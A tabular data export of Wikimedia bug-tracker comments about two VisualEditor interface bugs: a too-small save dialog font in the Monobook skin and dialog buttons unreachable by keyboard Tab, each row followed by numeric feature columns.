242069,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",Now fixed in master and will be deployed in a few minutes' time.,,,1374793868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,True,,,3,,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.9333333333333333,Now fixed in master and will be deployed in a few minutes' time.
242064,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Change 75814 merged by jenkins-bot:
Fix font size for overlays in Monobook

https://gerrit.wikimedia.org/r/75814",,,1374791926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"Change 75814 merged by jenkins-bot:
Fix font size for overlays in Monobook

GERRIT_URL"
242058,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","I'd add that even on en.wp Monobook is used by many (at least if I read correctly  http://en.wikipedia.org/wiki/Wikipedia:Database_reports/User_preferences#Skin ).
I had quite a few complaints about this now at it.wp, so it would really great if we managed to fix this ASAP. Thanks!

(confl. by Gerrit: fixed now?)",,,1374708007,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,18.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,6.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,8.0,18.0,8.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.1451612903225805,0.8225806451612904,"I'd add that even on en.wp Monobook is used by many (at least if I read correctly  URL ).
I had quite a few complaints about this now at it.wp, so it would really great if we managed to fix this ASAP. Thanks!

(confl. by Gerrit: fixed now?)"
242051,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Change 75814 had a related patch set uploaded by Esanders:
Fix font size for overlays in Monobook

https://gerrit.wikimedia.org/r/75814",,,1374707619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,1.0,"Change 75814 had a related patch set uploaded by Esanders:
Fix font size for overlays in Monobook

GERRIT_URL"
242044,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","**mrkmg90** wrote:

Review changes popup

The review changes popup also has the same sizing issues...

My eyes strain so hard trying to read the lines!

**Attached**: {F11419}",,,1374501653,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4,0.6888888888888889,"**mrkmg90** wrote:

Review changes popup

The review changes popup also has the same sizing issues...

My eyes strain so hard trying to read the lines!

**Attached**: {F11419}"
242037,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","(In reply to comment #6)
> Can I suggest that the title of this bug is changed to something more
> meaningful?  If the words ""edit summary"" were included there would probably
> be fewer duplicatates reported.

Done.",,,1373807253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6470588235294117,0.7647058823529411,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Done."
242030,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Can I suggest that the title of this bug is changed to something more meaningful?  If the words ""edit summary"" were included there would probably be fewer duplicatates reported.",,,1373807116,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0.0,3.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.382352941176471,0.9411764705882353,"Can I suggest that the title of this bug is changed to something more meaningful?  If the words ""edit summary"" were included there would probably be fewer duplicatates reported."
242023,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",*** Bug 51315 has been marked as a duplicate of this bug. ***,,,1373805517,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51315 has been marked as a duplicate of this bug. ***
242019,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",*** Bug 51034 has been marked as a duplicate of this bug. ***,,,1373442406,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51034 has been marked as a duplicate of this bug. ***
242016,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","You could add a CSS rule that uses the same technique for the dialog.

Setting a simple relative font size (0.7em or something like that) makes it impossible to set the browser's default size to something sensible, as 0.7 * something sensible is usually too small. The non-linear nature of keyword scaling gives a good compromise between honoring a browser's font size and providing sane defaults despite 16px browser defaults.

So if there are other JS-free solutions to this issue these days then that would be great.",,,1372103906,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-1,,0.0,1.5,0.0,0.0,0.0,12.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,3.0,7.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,3.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,16.0,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,5.5,2.5,4.5,2.0,1.5,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,7.5,2.5,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,2.5,0.0,0.0,0.0,4.264705882352941,0.8529411764705882,"You could add a CSS rule that uses the same technique for the dialog.

Setting a simple relative font size (0.7em or something like that) makes it impossible to set the browser's default size to something sensible, as 0.7 * something sensible is usually too small. The non-linear nature of keyword scaling gives a good compromise between honoring a browser's font size and providing sane defaults despite 16px browser defaults.

So if there are other JS-free solutions to this issue these days then that would be great."
242014,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","This is due to Monobook's ""interesting"" way of resetting the font-size to a consistent value cross-browser. It sets the <body> font-size to x-small, and then turn it back up to regular size with ""font-size: 127%;"" from their globalWrapper div.

Due to this odd construct, any new elements attached to the <body> have an exceptionally small font size.

Short of hardcoding a larger font-size for the overlay wrappers in Monobook or appending to #globalWrapper in monobook (which might cause others bugs due to not being in the <body> directly) - short of that this is a tough one to get right. Ideally core would fix this in Monobook by using the same font-size technique used by Vector.

In Monobook's author's defence (Gabriel), the browsers we had to support when Monobook was being developed made it quite difficult to do right so this was probably the best way to do it at the time – but we no longer need to worry about IE5.5, IE4-for-Mac, Opera<7 etc.",,,1372027547,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-2,,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,8.333333333333334,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,4.666666666666667,11.333333333333334,0.0,2.3333333333333335,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,13.0,1.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.3333333333333335,6.666666666666667,0.3333333333333333,1.0,7.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.0,3.0,11.333333333333334,4.666666666666667,0.0,1.3333333333333333,0.0,3.0,0.0,0.6666666666666666,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,3.651255707762557,0.7477803145611365,"This is due to Monobook's ""interesting"" way of resetting the font-size to a consistent value cross-browser. It sets the <body> font-size to x-small, and then turn it back up to regular size with ""font-size: 127%;"" from their globalWrapper div.

Due to this odd construct, any new elements attached to the <body> have an exceptionally small font size.

Short of hardcoding a larger font-size for the overlay wrappers in Monobook or appending to #globalWrapper in monobook (which might cause others bugs due to not being in the <body> directly) - short of that this is a tough one to get right. Ideally core would fix this in Monobook by using the same font-size technique used by Vector.

In Monobook's author's defence (Gabriel), the browsers we had to support when Monobook was being developed made it quite difficult to do right so this was probably the best way to do it at the time – but we no longer need to worry about IE5.5, IE4-for-Mac, Opera<7 etc."
242012,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Timo, what have you wrought?! ;-)",,,1372005848,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,"Timo, what have you wrought?! ;-)"
52047,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"You can't tab from the edit summary box to the ""Save page"" button, or the reference inspector to the ""Apply changes"" button, etc.

This is important for accessibility. Currently, there is no way to confirm the action using only the keyboard.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50897",High,80.0,1371984240,1374880834.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,3.654320987654321,0.5925925925925926,"You can't tab from the edit summary box to the ""Save page"" button, or the reference inspector to the ""Apply changes"" button, etc.

This is important for accessibility. Currently, there is no way to confirm the action using only the keyboard.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
241562,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Hmm, yeah, this has regressed for Firefox. Yay for browser bugs. Will follow-up on bug 51918.",,,1400619419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.8260869565217391,"Hmm, yeah, this has regressed for Firefox. Yay for browser bugs. Will follow-up on bug 51918."
241557,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Enwiki, Firefox nightly on Mac. But does seem to work on office with Chrome.",,,1400616530,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,24.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8823529411764706,"Enwiki, Firefox nightly on Mac. But does seem to work on office with Chrome."
241552,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"I can on enwiki, MediaWiki.org and Beta Labs – where are you having this issue?",,,1400616057,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,18.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.823529411764706,1.0,"I can on enwiki, MediaWiki.org and Beta Labs – where are you having this issue?"
241546,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"This appears to be broken again- can't tab to ""save page"" in the current release. Prefer to reopen this bug or file a new one?",,,1400615746,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,"This appears to be broken again- can't tab to ""save page"" in the current release. Prefer to reopen this bug or file a new one?"
241540,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,This bug is fixed. Will use bug 51918 to track changes to tab order instead.,,,1374880834,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8235294117647058,This bug is fixed. Will use bug 51918 to track changes to tab order instead.
241533,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 52080 has been marked as a duplicate of this bug. ***,,,1374818679,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52080 has been marked as a duplicate of this bug. ***
241524,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"The current tab order is pants, and is not what was requested in comment 1 or comment 5.

From the edit summary box, the tab order is now:
1. the link ""minor edit"" beside the 'minor edit' checkbox.
2. ""Save Page"" button
3. ""Review your changes"" button
Then three tabs for the links in the footer of this windows.

Tabbing to the _link_ ""minor edit"" is a bug in the current implementation.

Unless there is a good reason to do otherwise, the tab order should be the same as the source editor (muscle memory).  See also bug 51918 for a tab order request.",,,1374818669,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.5,0.0,0.0,3.0,8.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,9.5,4.0,5.0,0.5,1.0,10.5,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.5,8.0,1.5,0.0,5.5,0.0,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,1.0,3.3115942028985508,0.6521739130434783,"The current tab order is pants, and is not what was requested in comment 1 or comment 5.

From the edit summary box, the tab order is now:
1. the link ""minor edit"" beside the 'minor edit' checkbox.
2. ""Save Page"" button
3. ""Review your changes"" button
Then three tabs for the links in the footer of this windows.

Tabbing to the _link_ ""minor edit"" is a bug in the current implementation.

Unless there is a good reason to do otherwise, the tab order should be the same as the source editor (muscle memory).  See also bug 51918 for a tab order request."
241515,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,Fixed and will get deployed in a few minutes.,,,1374677090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed and will get deployed in a few minutes.
241506,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Change 75594 merged by jenkins-bot:
Make ButtonWidgets more accessible

https://gerrit.wikimedia.org/r/75594",,,1374676838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,1.0,"Change 75594 merged by jenkins-bot:
Make ButtonWidgets more accessible

GERRIT_URL"
